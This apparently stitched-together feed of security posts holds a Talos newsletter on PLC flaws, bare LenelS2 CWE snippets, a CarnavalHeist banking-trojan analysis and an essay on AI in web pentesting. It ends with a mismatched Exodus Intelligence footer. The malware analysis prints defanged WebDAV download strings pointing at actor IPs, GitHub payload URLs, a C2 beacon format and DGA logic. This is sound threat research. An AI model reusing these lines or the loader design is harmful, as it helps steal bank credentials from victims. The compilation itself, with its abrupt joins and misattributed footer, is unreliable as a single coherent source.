Several vulnerabilities were identified in the AutomationDirect P3 line of CPU modules. The P3-550E is the most recent CPU module released in the Productivity3000 line of Programmable Automation Controllers from AutomationDirect. The device communicates remotely via ethernet, serial and USB and exposes a variety of control services, including MQTT, Modbus, ENIP and the engineering workstation protocol DirectNET. Four of the vulnerabilities found in these PLC CPU modules received a CVSS security score of 9.8 out of 10, making them particularly notable. TALOS-2024-1942 (CVE-2024-21785) is a leftover debug code vulnerability that allow an adversary who can communicate to the device over ModbusRTU to enable the device’s diagnostic interface without any other knowledge of the target device. There is also TALOS-2024-1943 (CVE-2024-23601) which can lead to remote code execution if the attacker sends a specially crafted file to the targeted device and TALOS-2024-1939 (CVE-2024-24963 and CVE-2024-24962) which are stack-based buffer overflows that can also lead to remote code execution if the attacker sends a specially formatted packet to the device. 

So now what? 

Each of the vendors mentioned in this week’s Vulnerability Roundup have released patches for affected products, and users should download these patches as soon as possible. For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website. 

Top security headlines of the week 

Security researchers are warning about the dangers of a new AI “Recall” feature for Microsoft Windows 11. Microsoft recently announced a new update, that will allow a computer to remember past actions taken by the user and then use a simple search to query that information (ex., “Where did I store that document again?”). However, because Recall essentially takes individual snapshots of a machine and stores them locally, there are several security concerns. If an adversary were to infect a targeted machine with information-stealing malware, they could steal important databases stored locally and anything stored by Windows Recall. Recall also contains what are essentially keylogging functions, leaving the door open for adversaries to easily steal login credentials or other personal information that had been entered into the machine over the previous three months. The United Kingdom’s data protection agency has already contacted Microsoft inquiring about the way this information is stored and used, and they’ve asked for assurance that users’ data will be properly safeguarded and not used by the company.  Other unauthorized users may be able to access and query Recall’s information, should they obtain physical access to the device. (Bleeping Computer, Double Pulsar) 

Popular spyware app pcTattletale had to completely shut down after a data breach and having its website seized. The company that operates the app, which quietly and remotely tracks users’ activities on infected machines and takes screenshots, had its website defaced earlier this week by a hacker, along with a dump of data belonging to alleged pcTattletale customers and victims. Just days before the disruption, reports surfaced that the software was quietly installed on computers that handled the check-in process at least three Wyndham hotels across the U.S. A vulnerability in the platform could have allowed anyone on the internet who exploits it can download screenshots captured by the software directly from its servers. pcTattletale advertised itself as software that could allow anyone to control it remotely and view the target’s Android or Windows devices and their data from anywhere in the world. The founder of the spyware said that, after the data breach, the company was “out of business and completely done.” The now-defunct app had 138,000 registered customers, according to data breach notification website Have I Been Pwned. (TechCrunch, TechCrunch (again)) 

Ascension hospitals across the U.S. still have to delay patient care more than three weeks after a cyber attack. As of earlier this week, the national hospital system is still experiencing network disruptions, forcing staff to write care notes by hand and deliver orders for tests and prescriptions in person. Patients have also been unable to use their online portals to contact their doctors or view their medical records. Ascension is one of the largest health systems in the U.S., with more than 140 hospitals across the country. It first alerted patients and doctors about “unusual activity” on May 8, and there is no timeline for when services will be fully restored. News reports indicate that the disruption is a ransomware attack that can be attributed to the BlackBasta threat actor, which has links to Russia. Large health care organizations have increasingly become the target of ransomware attacks, with a previous campaign targeting Change Healthcare earlier this year disrupting payments to medical providers across the U.S. for weeks. (NPR, The New York Times) 

Can’t get enough Talos? 

• Attackers are probing Check Point Remote Access VPN devices 
• Out-of-bounds reads in Adobe Acrobat; Foxit PDF Reader contains vulnerability that could lead to SYSTEM-level privileges 
• New Generative AI category added to Talos reputation services 
• From trust to trickery: Brand impersonation over the email attack vector 

Upcoming events where you can find Talos 

Cisco Live (June 2 - 6) 

Las Vegas, Nevada 

Bill Largent from Talos' Strategic Communications team will be giving our annual "State of Cybersecurity" talk at Cisco Live on Tuesday, June 4 at 11 a.m. Pacific time. Jaeson Schultz from Talos Outreach will have a talk of his own on Thursday, June 6 at 8:30 a.m. Pacific, and there will be several Talos IR-specific lightning talks at the Cisco Secure booth throughout the conference.

AREA41 (June 6 – 7) 

Zurich, Switzerland 

Gergana Karadzhova-Dangela from Cisco Talos Incident Response will highlight the primordial importance of actionable incident response documentation for the overall response readiness of an organization. During this talk, she will share commonly observed mistakes when writing IR documentation and ways to avoid them. She will draw on her experiences as a responder who works with customers during proactive activities and actual cybersecurity breaches. 

Most prevalent malware files from Talos telemetry over the past week 

SHA 256: 9be2103d3418d266de57143c2164b31c27dfa73c22e42137f3fe63a21f793202 
MD5: e4acf0e303e9f1371f029e013f902262 
Typical Filename: FileZilla_3.67.0_win64_sponsored2-setup.exe 
Claimed Product: FileZilla 
Detection Name: W32.Application.27hg.1201 

SHA 256: 0e2263d4f239a5c39960ffa6b6b688faa7fc3075e130fe0d4599d5b95ef20647 
MD5: bbcf7a68f4164a9f5f5cb2d9f30d9790 
Typical Filename: bbcf7a68f4164a9f5f5cb2d9f30d9790.vir 
Claimed Product: N/A 
Detection Name: Win.Dropper.Scar::1201 

SHA 256: a024a18e27707738adcd7b5a740c5a93534b4b8c9d3b947f6d85740af19d17d0 
MD5: b4440eea7367c3fb04a89225df4022a6 
Typical Filename: Pdfixers.exe 
Claimed Product: Pdfixers 
Detection Name: W32.Superfluss:PUPgenPUP.27gq.1201 

SHA 256: c67b03c0a91eaefffd2f2c79b5c26a2648b8d3c19a22cadf35453455ff08ead0  
MD5: 8c69830a50fb85d8a794fa46643493b2  
Typical Filename: AAct.exe  
Claimed Product: N/A   
Detection Name: PUA.Win.Dropper.Generic::1201 

SHA 256: e12b6641d7e7e4da97a0ff8e1a0d4840c882569d47b8fab8fb187ac2b475636c     
MD5: a087b2e6ec57b08c0d0750c60f96a74c     
Typical Filename: AAct.exe     
Claimed Product: N/A       
Detection Name: PUA.Win.Tool.Kmsauto::1201 

CWE-259: USE OF HARD-CODED PASSWORD
LenelS2 NetBox access control and event monitoring system was discovered to contain hard-coded credentials in versions prior to and including 5.6.1, which allows an attacker to bypass authentication requirements.

CWE-78: IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN AN OS COMMAND ('OS COMMAND INJECTION')

LenelS2 NetBox access control and event monitoring system was discovered to contain an unauthenticated remote code execution in versions prior to and including 5.6.1, which allows an attacker to execute malicious commands with elevated permissions.

CWE-88: IMPROPER NEUTRALIZATION OF ARGUMENT DELIMITERS IN A COMMAND ('ARGUMENT INJECTION')
LenelS2 NetBox access control and event monitoring system was discovered to contain an authenticated remote code execution in versions prior to and including 5.6.1, which allows an attacker to execute malicious commands.

• Since February 2024, Cisco Talos has been observing an active campaign targeting Brazilian users with a new banking trojan called “CarnavalHeist.” Many of the observed tactics, techniques and procedures (TTPs) are common among other banking trojans coming out of Brazil. This family has also been referenced as AllaSenha in a recent report. 
• Talos attributes with high confidence the development and operation of CarnavalHeist to Brazilian actors who could be identified because of some operational mistakes made during the domain registration process for their payload-hosting sites. 
• The current campaign uses financial-related themes in spam emails, Delphi-based DLLs, overlay attack methods, and usual input capture techniques, such as keylogging and screen capture. There are also names of traditional Brazilian banks hardcoded in the malware.  
• Unique to CarnavalHeist, however, is the dynamic use of a Python-based loader as part of the DLL injection process and the specific targeting of banking desktop applications to enable tracking of other Brazilian financial institutions. 

CarnavalHeist has Brazilian origins 

Talos assesses with high confidence that the CarnavalHeist malware is of Brazilian origin and primarily targets Brazilian users based on our observations of the Portuguese language being used throughout all aspects of the infection chain and the malware itself, including the use of Brazilian slang to describe some bank names, and a notable lack of other language variants thus far. The command and control (C2) infrastructure exclusively uses the BrazilSouth availability zone on Microsoft Azure to control infected machines, and they specifically target prominent Brazilian financial institutions.  

We further assess that the current wave of activity has been ongoing since the beginning of February based on the volume and timeline of observable C2 domain activity, although we have observed related samples and variants that were uploaded to VirusTotal in November and December 2023, indicating that the malware has been in development since at least late 2023. As of May 2024, CarnavalHeist is still active, and our analysis remains ongoing as we continue to identify new samples. 

Financial-themed spam as initial execution method 

CarnavalHeist infection begins with a financially themed unsolicited email using a fake invoice as a lure to get the user to open a malicious URL. 

The malicious link uses the IS.GD URL shortener service to redirect users to the first-stage payload. The URL usually looks similar to some of these examples: 

• https://is[.]gd/38qeon?0177551.5510 
• https://is[.]gd/ROnj3W?0808482.5176 
• https://is[.]gd/a4dpQP?000324780473.85375532000 

This URL redirects the user to the server hosting the fake web page where the users are supposed to download their invoice. We have observed different domains being used in this step, but all contain references to “Nota Fiscal Eletrônica,” the Portuguese term for invoice. 

Some of the domains we observed being used to host these pages are: 

• https://notafiscaleletronica[.]nf-e[.]pro/danfe/?notafiscal=00510242.500611 
• https://nota-fiscal[.]nfe-digital[.]top/nota-estadual/?notafiscal=00792011.977347 
• https://nfe-visualizer[.]app[.]br/notas/?notafiscal=000851113082.35493424000 

The download target is the final link in this step, and it uses WebDAV to download the next-stage payload: 

• search:query=NotaFiscal.pdf&crumb=location:\\4[.]203[.]105[.]118@80\Documentos&displayname=Downloads 
• search:query=NotaFiscal.pdf&crumb=location:\\191[.]233[.]248[.]170@80\Documentos&displayname=Downloads 

This command ends up downloading a LNK file, which then executes the next stage of the infection. The LNK file’s metadata illustrates a common method threat actors use to execute malicious scripts and commands. 

The command above attempts to hide the malicious execution from the unsuspecting user. First, the text “Visualizacao indisponivel” (Portuguese for “view unavailable”) is written to a file, “NotaFiscal.pdf,” to the user’s Downloads directory. The PDF is then opened for viewing, meant to fool the user into thinking an actual PDF was downloaded, while another cmd.exe process is started minimized, and the malicious component is run.  

We have also observed multiple MSI installer-based variants, whereby the MSI file replaces the role of the LNK file and subsequent batch file, picking up in the execution chain with a variant of the first-stage Python script. In many of the earlier variants, the actor’s Python scripts were less refined and used lower-level C-types and a more obvious invocation of “windll.kernel32” directly in the Python script to dynamically load downstream malicious DLLs, rather than through the more obfuscated tool offered through the “pythonmemorymodule” package seen in the execution chain of the newer samples.  

Identifying the actors behind CarnavalHeist 

Our analysis of the different samples for CarnavalHeist have exposed the user account used on the system where some of the samples were compiled, in addition to a GitHub account referenced in the MSI variants that appears to have been hosting the loader and banking trojan payloads at one point.  

In examining the final payload, an assert statement within the code was flagged by the compiler and project metadata was exposed as a result. The assert we observed exposed the directory path “C:\Users\bert1m\Desktop\Meu Drive”, with “bert1m” being the active username during the payload’s compilation. The MSI variant also refers to a GitHub account “marianaxx0492494,” which was being used as a remote host for the files: 

• github[.]com/marianaxx0492494/update/raw/main/setup.msi 
• github[.]com/marianaxx0492494/update/raw/main/Execute_dll.zip 

These were presumably a copy of the MSI variant itself as well a version of the loader DLL. However, at the time of our investigation, this user account had already been removed from GitHub, and we could not find verified samples of the files at those URLs. 

While this evidence by itself is not enough to identify specific actors, we found additional evidence of the actors’ identity behind the development and operation of this malware campaign. While examining the WHOIS information for one of the domains hosting the initial infection, we noticed it exposed the full name and email address of the person registering the domain.  

We can see the username in their email is similar to the username used in the project path we have observed inside the binary. Another important piece of information in this registry is the `ownerid`, which contains the CPF (“Cadastro de Pessoa Física” or “Natural Person Registry”) of the person. The CPF works as a national ID in Brazil.  

By searching for this person name, we found a reference to a company where they were a partner, which lists part of their CPF above: 

We also found previous companies they owned in the Brazilian state of Maranhão: 

Another domain used to host the initial payload is also registered in Brazil and again exposes information about the owner. 

For this person it was easier to find more information based on their CPF, as they have criminal records, according to the Brazilian judiciary service. 

Based on this information, Talos assess with high confidence these two actors are behind the development and operation of the campaign distributing CarnavalHeist affecting Brazilian victims. 

Analysis of batch file “a3.cmd” and Python loader 

The file “a3.cmd” is a Windows batch file with a several layers of simple encoding and obfuscation that serves as a wrapper for installing Python on the target environment and subsequently executing a Python script that handles injecting the second-stage payload DLL.  

This first layer is decoded to another shell script which downloads a Python interpreter from the official Python FTP server and installs to a malware-created folder. 

After using the downloaded Python interpreter, the batch file executes an embedded base64-encoded Python script. Decoding the base64 string embedded in the Python command reveals the final component of the cascading commands to be a loader for injecting a malicious DLL.  

The script checks the processor architecture from the registry key `HARDWARE\DESCRIPTION\System\CentralProcessor\0` and bails out if the processor name value is “Broadwell.” It then uses the function `lk()` as a domain generation algorithm (DGA) to generate a fully qualified domain (FQDN) under the BrazilSouth region in Azure, which will be used to download the malicious DLL from. We explain the process by which this domain is generated in a section below. 

Once the correct FQDN has been generated, a TCP connection is opened. The script sends a UTF-8-encoded packet to the actor’s Azure server in the format below, where the victim’s hostname, Windows version name and processor architecture name are all passed as identifying markers: 

`pyCodeV1 - *NEW* {ss.gethostname()} | {Windows Product Name} | {Processor Architecture Name}` 

The server then sends a response back with a byte stream containing a DLL payload named “executor.dll,” a second-stage Python script that will load the DLL and additional Python modules used to load the DLL. This data object is then reserialized within the parent Python script and executed as the next stage through Python’s `exec()` command. 

Using CodePy for dynamic DLL execution 

The byte stream contains a handful of components that are passed to the `exec()` command to set up the downstream execution logic. On execution, CodePy first saves a copy of the previous Python script to the user’s public directory as “ps.txt”.

Next, the script unpacks the “executor.dll” PE file and loads the resulting bytes buffer of the DLL dynamically into memory through pythonmemorymodule’s `MemoryModule` class. Finally, the function entry point `Force` is called from `executor.dll` through the MemoryModule class function `get_proc_addr`. On execution, `Force` generates an up to 19-character randomized string using a similar character key string, as seen in the DGA function in the Python script.  

It then selects a random directory from the system’s default user profile of the typical standard Windows folders. The injector then checks if the system is running a 32- or 64-bit operating system and copies “mshta.exe” from the proper 32-bit folder to the selected user folder, renamed with a random character string and an .exe extension.  

Finally, the embedded payload, a UPX-packed banking trojan, is then extracted from a resource within executor.dll marked as “RcDLL”. It is another Delphi-based DLL, named "Access_PC_Client.dll" in many of the observed samples. The payload bytes are then written to a memory stream and injected into a spawned “mshta.exe” process.  

Final payload: Banking trojan DLL 

CarnavalHeist will attempt to steal the victim’s credentials for a variety of Brazilian financial institutions. This is accomplished through overlay attack methodologies, whereby an actor presents an overlaid window on top of the expected legitimate application or service.  

Like other Brazilian banking trojans, the malware monitors window title strings for specific word and pattern matches. When a window title matches, the malware sets the window to invisible and replaces it with a bundled overlay image for the given organization. At the same time, a timer will attempt to open a new socket connection to an actor controlled C2 using another DGA function to create a separate. This DGA is distinct from the one used by the Python loader script, although this DGA also uses a server hosted on the BrazilSouth resource region on Azure.  

CarnavalHeist possesses numerous capture capabilities, commonly associated with banking trojans, which are either executed automatically once a matched bank is detected, or by receiving a command from the C2.  

The protocol is a customized version of a publicly available code for a Delphi Remote Access Client, which is the same protocol used by other banker families like Mekotio and Casbaneiro in the past. Luckily, these commands are not obfuscated and are exposed in the binary code. There is a single function processing all input from C2, and it translates to a series of IF/THEN structures for each command: 

The code supports approximately 80 commands from the C2, including keyboard capture, screenshots, video capture and remote control. They also enable the attacker to trigger specific overlay attacks to steal the login information for the banking institutions while the user interacts with the fake login screens.  

These commands sent from the C2 and responses from the malware are all sent unencrypted through a TCP connection on a random port. The commands and responses are usually enclosed in the tags shown in the code. One example of this is how the malware answers when the C2 responds to the initial connection attempt: 

`<|Info|>BANK_NAME<|>Windows 10 Enterprise<|>DESKTOP-XXXXXXX<|>Intel(R) Xeon(R) W-2295 CPU @ 3.00GHz<|><<|` 

There are also functions present in the binary that deal with remote control capabilities using AnyDesk remote desktop, which allows the attacker to interact with the user machine during a banking session. Some of the commands accept additional parameters like an IP/Port to be used for the video connection or the keyboard/clipboard interaction in case of remote access. 

CarnavalHeist can also capture and create QR codes on demand, which is used by many banks to allow users to log in and execute transactions. This enables the attacker to redirect transactions to accounts they control instead of the intended accounts the user intended. 

Capturing mouse and keyboard events and their key translations would expose PINs and other similar tokens for these banks, while potentially being able to “pass through” the sign out to the legitimate service underneath the overlay, much like a skimmer on a credit card or ATM keypad. 

CarnavalHeist C2 protocol and DGA analysis 

CarnavalHeist uses different algorithms to generate the subdomains it uses to download payloads and communicate with its C2 servers. These subdomains are all hosted under the BrazilSouth availability zone in Azure at “{dga}[.]brazilsouth[.]cloudapp[.]azure[.]com”.  

The DGA that generates the correct subdomains is contained within a function named `lk()` in the Python script.  

It first gets the current date and weekday values from the Python datetime module and adds their values together to generate an integer value. This value is used as an index to retrieve a character out of the hardcoded string `{abcdefghijlmnopqrstuvxzwkyjlmnopqabcghjl}`.  

Five possible subdomain string choices are then generated and hashed by the SHA1 algorithm, followed by more string manipulation until it is returned. A random entry from this list is then selected to generate the final FQDN. 

Then, a random TCP port is generated by the function `ptV5()` following a similar algorithm using the dates as a seed, and these parameters are passed to the `connect()` Python function.  

The algorithm used by the malicious DLL to generate the subdomain used for C2 communication is also based on the current date and time but adds additional seeds depending on which banks are currently being accessed by the victim, which could be either through a web browser or a custom banking desktop application used by some banks in Brazil. These seed values are single-hex bytes associated with each bank: 

• Target bank 1: 0x55 
• Secondary targeted banks: 0x56 
• All other financial institutions: 0x57 

The DGA will then select a starting letter for the subdomain based on an array of non-ordered alpha characters like in the Python script. It then uses the integer representations of the current day of the week, month and year, as well as the current month and week of the year, to generate separate additional parts of the subdomain string through several arithmetic operations.  

CarnavalHeist has likely been in active development since at least November of 2023, while significant in-the-wild activity first began in February 2024. Based on the information we had about the DGA domains and activities performed by the Python script, Talos discovered samples in VirusTotal and Talos telemetry dating back to November 2023. 

Tracing the DGA domains from the Python script and the final payload in our DNS telemetry, we first observed in-the-wild activity on Feb. 20, 2024, with more consistent activity ramping up beginning on Feb. 11, 2024. Additional variants of the Python loader containing slight alterations to the DGA were observed further on in our investigation. Tracing all the potential domains from all the DGA variations, we can observe initial visible activity beginning in February with larger spikes in actor domain activity starting in late March to the present. 

We assess that the actor(s) behind CarnavalHeist are of low-to-moderate sophistication. There are some aspects of the code and malware that hint at sophistication, whether borrowed or their own, but are then short circuited or made pointless by mistakes or odd choices elsewhere. For example, the DGA algorithm for some of the Python cradles goes through the trouble of generating a list of five different potential subdomains to be used on any given day. The list of subdomains is then referenced by Python’s random choice function, but the subdomain list is sliced in a way that only the last option is ever used. This is then corrected to use all choices in another version of the Python script we observed. The actor is worth monitoring, as the ability to incorporate complexity within their malware is more concerning than the initially observed missteps, which can always be corrected in future development iterations. The number of additional variants we observed also suggests that the author of CarnavalHeist is actively developing it. 

Talos is continuing to monitor developments and analyze additional related samples and infrastructure to this actor and campaign. 

MITRE ATT&CK 

Coverage 

Ways our customers can detect and block this threat are listed below. 

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here. 

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks. 

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here. 

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat. 

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. 

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here. 

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center. 

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. 

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. 

The following Snort SIDs are applicable to this threat: 63515, 63516, 63517, 63518 and 300922. 

 The following ClamAV detections are also available for this threat: 

Win.Trojan.CarnavalHeist-10029766-0 
Lnk.Downloader.CarnavalHeist-10029991-0 
Win.Dropper.CarnavalHeist-10029449-0 
Win.Loader.CarnavalHeist-10029772-0 

Indicators of Compromise 

Indicators of Compromise associated with this threat can be found here. 

Written by: Steven van der Baan

In the ever-evolving landscape of cybersecurity, the integration of artificial intelligence (AI) has revolutionized various aspects of threat detection, prevention, and mitigation. Web penetration testing, a crucial component of ensuring the security posture of digital assets, has seen significant advancements through AI-powered tools. While AI undoubtedly offers numerous benefits in this domain, it’s essential to recognize that it cannot entirely replace human expertise and intuition. In this article, we explore the reasons why AI will not fully replace humans for web penetration testing.

AI excels in handling immense data volumes while recognizing patterns. However, it typically lacks the contextual understanding that human testers possess. Web applications function within specific business contexts, and vulnerabilities may manifest differently based on various factors such as industry, user behaviour, and regulatory requirements. Human testers can interpret these nuances and prioritize findings based on their potential impact on the organization’s objectives.

One of the fundamental challenges in cybersecurity is staying ahead of adversaries who continually innovate and devise new attack techniques. Although AI algorithms can detect known vulnerabilities efficiently, they may struggle to adapt to novel attack vectors or zero-day exploits. Human penetration testers bring creativity to the table, utilizing their experience and intuition to think like attackers and uncover unexpected vulnerabilities that automated tools might miss.

Certain categories of vulnerabilities, such as logical flaws or business logic errors, often require human intervention to identify accurately. These vulnerabilities may not be easily detectable through automated scanning alone, as they involve understanding the underlying logic of the application and its intended functionality. Human testers can replicate real-world scenarios and apply sophisticated techniques to uncover subtle security weaknesses that AI might overlook.

AI-powered tools for web penetration testing are prone to generating false positives (incorrectly identifying vulnerabilities that do not exist) and false negatives (overlooking actual vulnerabilities). Although advancements in machine learning have improved accuracy, eliminating both false positives and false negatives remains a significant challenge. Human testers play an essential role in validating automated findings, minimizing false alarms, and providing valuable insights into the context of each vulnerability.

The ethical and legal implications of automated penetration testing must be carefully considered. AI-powered tools may generate substantial volumes of traffic and potentially disrupt web applications, leading to unintended consequences or violations of terms of service. Furthermore, utilizing automated tools without proper authorization can result in legal repercussions. Human testers exercise judgment, ensuring that tests are conducted responsibly, with appropriate permissions and adherence to ethical guidelines.

While AI has revolutionized web penetration testing by automating routine tasks, detecting known vulnerabilities, and enhancing efficiency, it cannot replace the critical thinking, intuition, and creativity of human testers. The synergy between AI and human expertise is essential for conducting comprehensive and effective security assessments. By leveraging the strengths of both AI-powered tools and human testers, organizations can achieve a more robust and adaptive approach to web application security.

The post Hacking the Future: 12 Years at Exodus and the Next Big Leap appeared first on Exodus Intelligence.